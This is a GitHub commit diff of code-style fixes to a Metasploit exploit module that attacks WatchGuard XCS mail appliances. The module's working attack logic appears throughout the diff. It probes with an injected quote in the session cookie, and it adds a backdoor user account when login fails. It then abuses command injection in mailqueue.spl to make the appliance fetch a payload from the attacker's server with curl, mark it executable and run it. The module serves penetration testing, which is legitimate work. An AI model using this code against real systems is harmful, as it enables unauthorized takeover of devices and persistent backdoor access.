Skip to content

Commit 19b577b

Browse files
committed
Do some code style fixes to watchguard_cmd_exec
1 parent b35da0d commit 19b577b

File tree

1 file changed

+50
-50
lines changed

1 file changed

+50
-50
lines changed

modules/exploits/freebsd/http/watchguard_cmd_exec.rb

Lines changed: 50 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -67,10 +67,12 @@ def check
6767
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
6868
'cookie' => "sid=1'"
6969
})
70+
7071
if res and res.body =~ /unterminated quoted string/
7172
return Exploit::CheckCode::Vulnerable
7273
end
73-
return Exploit::CheckCode::Safe
74+
75+
Exploit::CheckCode::Safe
7476
end
7577

7678

@@ -79,64 +81,56 @@ def exploit
7981
@sid = get_session
8082

8183
#Check if cmd injection works
82-
test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", "id")
83-
unless test_cmd_inj and test_cmd_inj.body =~ /uid=65534/
84-
fail_with(Failure::UnexpectedReply, "Could not inject command, may not be vulnerable")
84+
test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
85+
unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')
86+
fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
8587
end
8688

8789
#We have cmd exec, stand up an HTTP server and deliver the payload
88-
vprint_status("Getting ready to drop binary on appliance")
90+
vprint_status('Getting ready to drop binary on appliance')
8991

9092
#Generate payload
9193
@pl = generate_payload_exe
9294
@elf_sent = false
93-
waited = 0
94-
while (not @pl)
95-
print_status("Waiting for payload to finish generating...")
96-
select(nil,nil,nil,1)
97-
waited += 1
98-
if (waited > 20)
99-
fail_with(Failure::Unknown, "Unable to generate payload within a reasonable time.")
100-
end
101-
end
10295

10396
#Start the server and use primer to trigger fetching and running of the payload
10497
begin
105-
Timeout.timeout(datastore['HTTPDELAY']) {super}
98+
Timeout.timeout(datastore['HTTPDELAY']) { super }
10699
rescue Timeout::Error
107100
end
108101
end
109102

110-
def attempt_login(username,pwd_clear)
103+
def attempt_login(username, pwd_clear)
111104
#Attempts to login with the provided user credentials
112105
#Get the login page
113106
get_login_hash = send_request_cgi({
114-
'uri' => normalize_uri(target_uri.path, '/login.spl')
107+
'uri' => normalize_uri(target_uri.path, '/login.spl')
115108
})
116109

117110
unless get_login_hash and get_login_hash.body
118-
fail_with(Failure::Unreachable, "Could not get login page.")
111+
fail_with(Failure::Unreachable, 'Could not get login page.')
119112
end
120113

121114
#Find the hash token needed to login
122115
login_hash = ''
123116
get_login_hash.body.each_line do |line|
124-
next if line !~ /name="hash" value="(.*)"/
117+
next if line !~ /name="hash" value="(.*)"/
125118
login_hash = $1
119+
break
126120
end
127121

128122
sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''
129123
if login_hash == '' || sid_cookie == ''
130-
fail_with(Failure::UnexpectedReply, "Could not find login hash or cookie")
124+
fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie')
131125
end
132126

133127
login_post = {
134128
'u' => "#{username}",
135129
'pwd' => "#{pwd_clear}",
136130
'hash' => login_hash,
137-
'login' => "Login"
131+
'login' => 'Login'
138132
}
139-
print_status("Attempting to login with provided credentials")
133+
print_status('Attempting to login with provided credentials')
140134
login = send_request_cgi({
141135
'uri' => normalize_uri(target_uri.path, '/login.spl'),
142136
'method' => 'POST',
@@ -150,11 +144,12 @@ def attempt_login(username,pwd_clear)
150144

151145

152146
unless login and login.body =~ /<title>Loading...<\/title>/
153-
return false
147+
return nil
154148
end
155149

156-
print_status("Successfully logged in")
157-
return sid_cookie
150+
print_status('Successfully logged in')
151+
152+
sid_cookie
158153
end
159154

160155
def add_user(user_id, username, pwd_hash, pwd_clear)
@@ -173,23 +168,26 @@ def add_user(user_id, username, pwd_hash, pwd_clear)
173168
else
174169
fail_with(Failure::UnexpectedReply, "Unable to add user to database")
175170
end
176-
return true
171+
172+
true
177173
end
178174

179175
def generate_device_hash(cleartext_password)
180176
#Generates the specific hashes needed for the XCS
181-
pre_salt = "BorderWare "
182-
post_salt = " some other random (9) stuff"
177+
pre_salt = 'BorderWare '
178+
post_salt = ' some other random (9) stuff'
183179
hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt)
184180
final_hash = Rex::Text.md5(cleartext_password + hash_tmp)
185-
return final_hash
181+
182+
final_hash
186183
end
187184

188-
def send_cmd_exec(uri,os_cmd,blocking=false)
185+
def send_cmd_exec(uri, os_cmd, blocking = false)
189186
#This is a handler function that makes HTTP calls to exploit the command injection issue
190187
unless @sid
191-
fail_with(Failure::Unknown, "Missing a session cookie when attempting to execute command.")
188+
fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.')
192189
end
190+
193191
res = send_request_cgi({
194192
'uri' => normalize_uri(target_uri.path, "#{uri}"),
195193
'cookie' => "sid=#{@sid}",
@@ -201,11 +199,11 @@ def send_cmd_exec(uri,os_cmd,blocking=false)
201199
})
202200

203201
#Handle cmd exec failures
204-
if (!res and blocking == false)
205-
fail_with(Failure::Unknown, "Failed to exploit command injection.")
202+
if res.nil? && blocking == false
203+
fail_with(Failure::Unknown, 'Failed to exploit command injection.')
206204
end
207205

208-
return res
206+
res
209207
end
210208

211209
def get_session
@@ -216,24 +214,26 @@ def get_session
216214

217215
sid_cookie = attempt_login(username, pwd_clear)
218216
unless sid_cookie
219-
vprint_status("Failed to login, attempting to add backdoor user...")
217+
vprint_status('Failed to login, attempting to add backdoor user...')
220218
pwd_hash = generate_device_hash(pwd_clear)
219+
221220
unless add_user(user_id, username, pwd_hash, pwd_clear)
222-
fail_with(Failure::Unknown, "Failed to add user account to database.")
221+
fail_with(Failure::Unknown, 'Failed to add user account to database.')
223222
end
224223

225224
sid_cookie = attempt_login(username, pwd_clear)
226-
unless (sid_cookie)
227-
fail_with(Failure::Unknown, "Unable to login with user account.")
228-
end
229225

226+
unless sid_cookie
227+
fail_with(Failure::Unknown, 'Unable to login with user account.')
228+
end
230229
end
231-
return sid_cookie
230+
231+
sid_cookie
232232
end
233233

234-
#Make the server download the payload and run it
234+
# Make the server download the payload and run it
235235
def primer
236-
vprint_status("Primer hook called, make the server get and run exploit")
236+
vprint_status('Primer hook called, make the server get and run exploit')
237237

238238
#Gets the autogenerated uri from the mixin
239239
payload_uri = get_uri
@@ -243,26 +243,26 @@ def primer
243243

244244
dnld_cmd1 = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
245245
vprint_status("Telling appliance to run #{dnld_cmd1}")
246-
send_cmd_exec("/ADMIN/mailqueue.spl",dnld_cmd1)
246+
send_cmd_exec('/ADMIN/mailqueue.spl', dnld_cmd1)
247247
register_file_for_cleanup("/tmp/#{filename}")
248248

249249
chmod_cmd = "chmod +x /tmp/#{filename}"
250-
vprint_status("Chmoding the payload...")
251-
send_cmd_exec("/ADMIN/mailqueue.spl",chmod_cmd)
250+
vprint_status('Chmoding the payload...')
251+
send_cmd_exec("/ADMIN/mailqueue.spl", chmod_cmd)
252252

253253
exec_cmd = "/tmp/#{filename}"
254-
vprint_status("Running the payload...")
255-
send_cmd_exec("/ADMIN/mailqueue.spl",exec_cmd,true)
256-
254+
vprint_status('Running the payload...')
255+
send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, true)
257256

258-
print_status("Finished primer hook")
257+
vprint_status('Finished primer hook')
259258
end
260259

261260
#Handle incoming requests from the server
262261
def on_request_uri(cli, request)
263262
vprint_status("on_request_uri called: #{request.inspect}")
264-
print_status("Sending the payload to the server...")
263+
print_status('Sending the payload to the server...')
265264
@elf_sent = true
266265
send_response(cli, @pl)
267266
end
267+
268268
end

0 commit comments

Comments
 (0)